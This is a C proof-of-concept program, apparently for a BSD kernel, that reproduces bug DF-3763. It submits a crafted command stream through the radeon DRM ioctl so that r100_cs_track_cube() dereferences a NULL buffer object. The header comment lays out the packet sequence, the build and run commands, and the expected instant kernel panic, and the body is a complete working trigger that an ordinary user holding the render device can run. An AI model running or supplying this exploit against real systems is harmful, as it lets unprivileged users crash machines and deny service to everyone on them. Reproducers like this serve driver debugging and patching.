/* DF-3763 — r100_cs_track_cube() NULL-pointer dereference via CS ioctl
 *
 * Trigger (r100..rv280 / r200 asics, separate_cube=1):
 *   1. PACKET0 RADEON_RB3D_CNTL   : valid color fmt, Z disabled (skips zb check)
 *   2. PACKET0 RADEON_PP_TXFORMAT_0: CUBIC_MAP_ENABLE (tex_coord_type=2) + ARGB8888
 *   3. PACKET0 RADEON_PP_TXOFFSET_0 + NOP reloc : bind textures[0].robj
 *   4. PACKET0 RADEON_PP_CNTL     : enable texture unit 0
 *   5. PACKET3 3D_LOAD_VBPNTR (c=1) + NOP reloc : bind arrays[0] (PW=2 check passes)
 *   6. PACKET3 3D_DRAW_VBUF_2     : PW=2, 1 vertex -> r100_cs_track_check()
 *        -> r100_cs_track_texture_check() -> r100_cs_track_cube()
 *        -> radeon_bo_size(track->textures[0].cube_info[0].robj == NULL)  => kernel panic
 *
 * Build: cc -o df3763 df3763_cube_null.c
 * Run:   ./df3763 /dev/dri/renderD128     (or /dev/dri/card0)
 * Expected: instant kernel NULL-deref panic (r100.c:2155 radeon_bo_size(NULL)).
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

/* ---- minimal uapi re-implementation (no libdrm needed) ---- */
struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; };
struct rr_cs_reloc   { uint32_t handle, read_domains, write_domain, flags; };
struct rr_cs_chunk   { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct rr_cs         { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };

#define RR_GEM_CREATE           0x1d
#define RR_CS                   0x26
#define RR_IOCTL_GEM_CREATE     _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */
#define RR_IOCTL_CS             _IOWR('d', RR_CS, struct rr_cs)

#define RR_CHUNK_ID_RELOCS      0x01
#define RR_CHUNK_ID_IB          0x02
#define RR_CHUNK_ID_FLAGS       0x03
#define RR_GEM_DOMAIN_GTT       0x2

/* r100 CP packet builders */
#define PKT0(reg, n)  ((0u<<30) | (((n)&0x3FFFu)<<16) | (((reg)>>2)&0x1FFFu))
#define PKT3(op, n)   ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8))

#define RADEON_RB3D_CNTL            0x1c3c
# define RADEON_RB3D_COLOR_FORMAT_SHIFT 10
# define RADEON_Z_ENABLE            (1 << 8)
#define RADEON_PP_CNTL              0x1c38
#define RADEON_PP_TXFORMAT_0        0x1c58
# define RADEON_TXFORMAT_ARGB8888   (6 << 0)
# define RADEON_TXFORMAT_CUBIC_MAP_ENABLE (1 << 30)
#define RADEON_PP_TXOFFSET_0        0x1c5c
#define RADEON_SE_VF_CNTL           0x2084
# define RADEON_VF_PRIM_WALK_LIST   (2 << 4)
# define RADEON_VF_NUM_VERTICES_SHIFT 16

#define PKT3_NOP                    0x10
#define PKT3_3D_LOAD_VBPNTR         0x2f
#define PKT3_3D_DRAW_VBUF_2         0x34

static int fd;
static int
gem_create(uint64_t size, uint32_t *handle)
{
	struct rr_gem_create gc;
	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 4096;
	gc.initial_domain = RR_GEM_DOMAIN_GTT;
	if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) {
		perror("GEM_CREATE");
		return -1;
	}
	*handle = gc.handle;
	return 0;
}

static int
submit_cs(uint32_t *ib, uint32_t ib_dw, struct rr_cs_reloc *relocs, uint32_t nreloc)
{
	struct rr_cs_chunk chunks[3];
	uint64_t chunk_ptrs[3];
	struct rr_cs cs;
	uint32_t flags[2] = { 0, 0 };	/* no KEEP_TILING, ring = GFX */

	memset(chunks, 0, sizeof(chunks));
	chunks[0].chunk_id = RR_CHUNK_ID_IB;
	chunks[0].length_dw = ib_dw;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id = RR_CHUNK_ID_RELOCS;
	chunks[1].length_dw = nreloc * 4;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs;
	chunks[2].chunk_id = RR_CHUNK_ID_FLAGS;
	chunks[2].length_dw = 2;
	chunks[2].chunk_data = (uint64_t)(uintptr_t)flags;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];
	chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2];

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 3;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;
	if (ioctl(fd, RR_IOCTL_CS, &cs)) {
		perror("CS");
		return -1;
	}
	return 0;
}

int
main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	uint32_t tex_bo, vtx_bo;
	struct rr_cs_reloc relocs[2];
	uint32_t ib[32];
	uint32_t n = 0;

	fd = open(node, O_RDWR);
	if (fd < 0) {
		perror(node);
		return 1;
	}
	if (gem_create(64 * 1024, &tex_bo) || gem_create(64 * 1024, &vtx_bo))
		return 1;

	memset(relocs, 0, sizeof(relocs));
	relocs[0].handle = tex_bo;
	relocs[0].read_domains = RR_GEM_DOMAIN_GTT;
	relocs[1].handle = vtx_bo;
	relocs[1].read_domains = RR_GEM_DOMAIN_GTT;

	memset(ib, 0, sizeof(ib));
	/* 1. RB3D_CNTL: color fmt 6 (ARGB8888), Z disabled */
	ib[n++] = PKT0(RADEON_RB3D_CNTL, 0);
	ib[n++] = (6 << RADEON_RB3D_COLOR_FORMAT_SHIFT);	/* z_enable bit 8 clear */
	/* 2. PP_TXFORMAT_0: cubic map enable + ARGB8888 -> tex_coord_type = 2 */
	ib[n++] = PKT0(RADEON_PP_TXFORMAT_0, 0);
	ib[n++] = RADEON_TXFORMAT_CUBIC_MAP_ENABLE | RADEON_TXFORMAT_ARGB8888;
	/* 3. PP_TXOFFSET_0 + NOP reloc -> textures[0].robj = tex_bo */
	ib[n++] = PKT0(RADEON_PP_TXOFFSET_0, 0);
	ib[n++] = 0;
	ib[n++] = PKT3(PKT3_NOP, 1);
	ib[n++] = 0;			/* reloc dword index 0 -> relocs[0] */
	/* 4. PP_CNTL: enable texture unit 0 (bit 4 of value => unit 0) */
	ib[n++] = PKT0(RADEON_PP_CNTL, 0);
	ib[n++] = 1 << 4;
	/* 5. 3D_LOAD_VBPNTR, c=1: arrays[0] = vtx_bo, esize = 1 */
	ib[n++] = PKT3(PKT3_3D_LOAD_VBPNTR, 2);
	ib[n++] = 1;			/* c = 1 array */
	ib[n++] = 1 << 8;		/* id dword: esize = (v>>8)&0x7F = 1 */
	ib[n++] = 0;			/* addr, relocated below */
	ib[n++] = PKT3(PKT3_NOP, 1);
	ib[n++] = 4;			/* reloc dword index 4 -> relocs[1] */
	/* 6. 3D_DRAW_VBUF_2: PW=2, 1 vertex -> track check -> cube NULL deref */
	ib[n++] = PKT3(PKT3_3D_DRAW_VBUF_2, 0);
	ib[n++] = RADEON_VF_PRIM_WALK_LIST | (1 << RADEON_VF_NUM_VERTICES_SHIFT);

	printf("submitting %u dwords, expect kernel panic (NULL cube_info robj)\n", n);
	if (submit_cs(ib, n, relocs, 2) == 0)
		printf("BUG: CS accepted (should have panicked or been rejected)\n");
	return 0;
}
